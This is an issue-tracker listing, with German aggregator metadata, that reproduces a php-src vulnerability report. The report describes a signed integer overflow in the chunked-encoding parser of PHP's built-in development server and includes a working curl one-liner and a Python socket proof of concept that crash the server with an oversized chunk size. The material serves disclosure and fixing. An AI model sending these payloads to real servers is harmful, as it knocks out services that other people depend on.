PHP Built-in Server Chunked Encoding Integer Overflow
Maintainer antworten meist innerhalb von 1 Tag
Dieses Issue hat noch niemand übernommen.
Bewertung
- Schwierigkeit
- 4/5
- Geschätzter Aufwand
- 3-5 Tage
- Anfängerfreundlichkeit
- 48/100
Rechercherichtung
Start in sapi/cli/php_http_parser.c, especially the s_chunk_size and s_chunk_data states named in the report, then trace how content_length reaches php_cli_server_client_read_request_on_body in sapi/cli/php_cli_server.c. Check existing HTTP parser and built-in server tests for malformed chunk sizes. Done means an oversized chunk size is rejected safely and a regression test shows that the server remains available.
Vom Indexierungsmodell aus dem Issue-Text verfasst.
Beschreibung
Description
Summary
PHP's built-in development server (php -S) contains a signed integer overflow in its chunked transfer encoding parser. A single HTTP request with a chunk size of FFFFFFFFFFFFFFFF causes content_length to wrap to −1 as a ssize_t, after which PHP attempts to allocate UINT64_MAX bytes via pemalloc, triggering an out-of-memory condition that terminates the server process. An unauthenticated remote attacker can crash the server with a single crafted request, producing a reliable denial of service.
Details
Root cause: signed integer overflow in php_http_parser.c
PHP's built-in server implements its own HTTP/1.1 parser derived from Ryan Dahl's original http-parser. The chunk-size field is stored in ssize_t content_length — a signed 64-bit integer on 64-bit platforms.
The state machine in s_chunk_size accumulates hex digits without any overflow guard:
// sapi/cli/php_http_parser.c (s_chunk_size state)
parser->content_length *= 16;
parser->content_length += c; // no overflow check
When the hex string FFFFFFFFFFFFFFFF (16 Fs) is parsed, the accumulated value wraps around the INT64_MAX boundary. The final result is −1 when interpreted as a signed 64-bit integer (equivalently, 0xFFFFFFFFFFFFFFFF unsigned).
Downstream effect in s_chunk_data
The s_chunk_data state computes how much of the current network buffer to consume:
// sapi/cli/php_http_parser.c (s_chunk_data state)
to_read = MIN((size_t)(pe - p), (size_t)(parser->content_length));
Casting −1 to size_t yields UINT64_MAX (18 446 744 073 709 551 615). MIN(pe−p, UINT64_MAX) returns pe−p — whichever bytes remain in the read buffer — so parsing continues without error.
Fatal allocation in php_cli_server_client_read_request_on_body
The on_body callback is invoked for each chunk fragment. On the first call it pre-allocates using the parser's content_length:
// sapi/cli/php_cli_server.c
if (!client->request.content) {
client->request.content = pemalloc(parser->content_length, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^
// passes -1 (UINT64_MAX) to pemalloc
}
pemalloc(UINT64_MAX, 1) attempts to allocate ~18 exabytes. PHP's memory limit is immediately exceeded, PHP emits "Out of memory", and the server process exits.
Why ssize_t, not size_t
The field is typed ssize_t to allow the sentinel value −1 used elsewhere in the parser to signal "no Content-Length set". The chunk-size accumulation code reuses the same field without accounting for the sign boundary.
Proof of concept
Environment
Any system running php -S on PHP 8.4.x or 8.5.x (tested on PHP 8.5.12 Linux x86-64).
One-liner with curl
curl -v http://127.0.0.1:9000/
-H 'Transfer-Encoding: chunked'
--data-binary $'FFFFFFFFFFFFFFFF\r\nhello\r\n0\r\n\r\n'
The server process exits immediately with Out of memory.
Python PoC
import socket
HOST, PORT = "127.0.0.1", 9000
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: target\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b"FFFFFFFFFFFFFFFF\r\n" # chunk-size wraps ssize_t to -1
b"A" * 8 # any body bytes trigger on_body
b"\r\n"
)
s = socket.create_connection((HOST, PORT))
s.sendall(payload)
try:
print("Response:", s.recv(256))
except Exception:
print("[+] Server appears to have died")
finally:
s.close()
Expected output on the server console
[22 Oct 2026 13:10] 127.0.0.1:XXXXX Accepted
Out of memory
The process exits; all subsequent connections to that port are refused. Because php -S is single-threaded, the server is completely unavailable from this point on.
Impact
Denial of service complete server crash. A single unauthenticated HTTP POST with a crafted Transfer-Encoding: chunked body kills the php -S process. Because the built-in server is single-process and single-threaded, there is no worker to restart it; all further requests fail with "Connection refused" until an operator manually restarts the server.
The built-in server is the intended target. PHP's documentation explicitly states it is for development only and not for production. However, the server is widely used in:
• Local developer workflows and CI pipelines that expose an HTTP endpoint during test runs
• Dockerfile-based test containers accessible on an internal network
• Workshop and tutorial environments that sometimes bind to 0.0.0.0 for convenience
In those contexts an attacker on the same network (or CI runner) can disrupt tests, invalidate results, or force pipeline failures on demand. The crash is immediate, deterministic, and requires no authentication or prior knowledge of the application.
No memory corruption or code execution has been demonstrated. The allocation attempt fails before any write occurs, so the impact is limited to process termination.
PHP Version
8.2.35
Operating System
No response
- Vorherrschende Sprache
- C
- Sterne
- 40.7k
- Forks
- 8.3k
- Ø Merge
- 2 T. 16 Std.
- Gemergte PRs (30 T.)
- 151
Entwicklungsumgebung
- Kein Dockerfile und keine Docker-Compose-Datei
- Keine Pull-Request-Vorlage
- Beitragsleitfaden lesen
Erste Schritte
- Lesen Sie das ganze Issue und danach den Beitragsleitfaden des Projekts.
- Schreiben Sie ins Issue, dass Sie es übernehmen — das erspart doppelte Arbeit.
- Forken Sie das Repository und arbeiten Sie in einem Branch.
- Öffnen Sie einen Pull Request, der die Issue-Nummer nennt.
Mehr aus php/php-src
-
sapi/fpm/tests/tester.inc can send SIGUSR2 to pid 0, killing run-tests.phpEvtl. vergeben Ein verknüpfter Pull Request ist offen oder bereits gemergt. OffenBug Status: Needs Triage
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 78/100
Maintainer antworten meist innerhalb von 1 Tag
-
zend_set_local_var() overwrites existing compiled variable (CV) zval without calling zval_ptr_dtor()Evtl. vergeben Ein verknüpfter Pull Request ist offen oder bereits gemergt. OffenBug Status: Needs Triage
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 82/100
Maintainer antworten meist innerhalb von 1 Tag
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 72/100
Maintainer antworten meist innerhalb von 1 Tag
-
Case-insensitive substr_compare, ksort, krsort are still locale-dependentEvtl. vergeben @lazerg hat das vor 3 Tagen übernommen. OffenBug Extension: standard Status: Verified
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 73/100
php/php-src#24552 · 1 Kommentar ·
Maintainer antworten meist innerhalb von 1 Tag
-
master: part of the mbstring bailout fix got lost in a mergeEvtl. vergeben @lazerg hat das vor 4 Tagen übernommen. Offen
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 78/100
Maintainer antworten meist innerhalb von 1 Tag
Ähnliche Issues
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 65/100
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 78/100
HexaCluster/credcheck#86 ·
-
Wheels for Python 3.15Offen
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 66/100
mongodb/winkerberos#175 ·
-
bug
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 74/100
AOMediaCodec/SVT-AV1#3320 ·
-
difficulty: easy
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 64/100